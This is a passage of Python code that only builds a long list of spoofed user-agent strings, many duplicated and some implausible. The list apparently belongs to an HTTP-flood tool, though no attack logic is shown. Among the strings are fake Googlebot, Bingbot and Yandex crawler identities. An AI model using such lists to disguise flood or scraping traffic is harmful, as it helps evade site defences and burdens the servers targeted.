.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; 